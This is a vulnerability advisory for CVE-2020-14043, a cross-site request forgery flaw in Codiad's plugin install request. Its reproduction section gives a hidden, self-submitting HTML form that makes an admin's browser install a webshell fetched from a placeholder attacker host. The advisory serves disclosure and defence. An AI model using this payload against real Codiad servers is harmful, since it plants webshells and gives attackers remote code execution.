CVE-2020-14043 Published: Aug 20, 2020

Codiad CSRF in the plugin request

8.8 High Severity CSRF php RCE webshell

Yaniv Nizry Reported by Checkmarx Zero

Summary

A Cross Side Request Forgery (CSRF) vulnerability was found in Codiad. The request to download a plugin from the marketplace is only available to admin users and it isn’t CSRF protected. This might cause admins to make a vulnerable request without them knowing and result in an RCE.

Product

Codiad from v1.7.8.

Impact

An malicious link sent to the an admin can result in a webshell on the server.

Steps to reproduce

<html><head></head>
<body>
<form style="opacity: 0;" action="http://[Codiad-url]/components/market/controller.php?action=install&type=&name=Manually&repo=http://evilWebSite/webshell/webshell.zip?a=" method="GET">
<button>submit</button>
</form>
<script>document.querySelector('form').submit();</script>
</body></html>

Expected result:

A webshell from http://evilWebSite/webshell/webshell.zip will be downloaded to the server.

Remediation

There is no fixed version of Codiad.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.

Resources

Issue

0 High Severity CVSS v3.1 Score

8.8

CVSS v3.1 Vectors

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High

Advisory Timeline

Disclosed May 11, 2020 Notified the maintainer
Disclosed Aug 20, 2020 Opened an issue on github

Explore more findings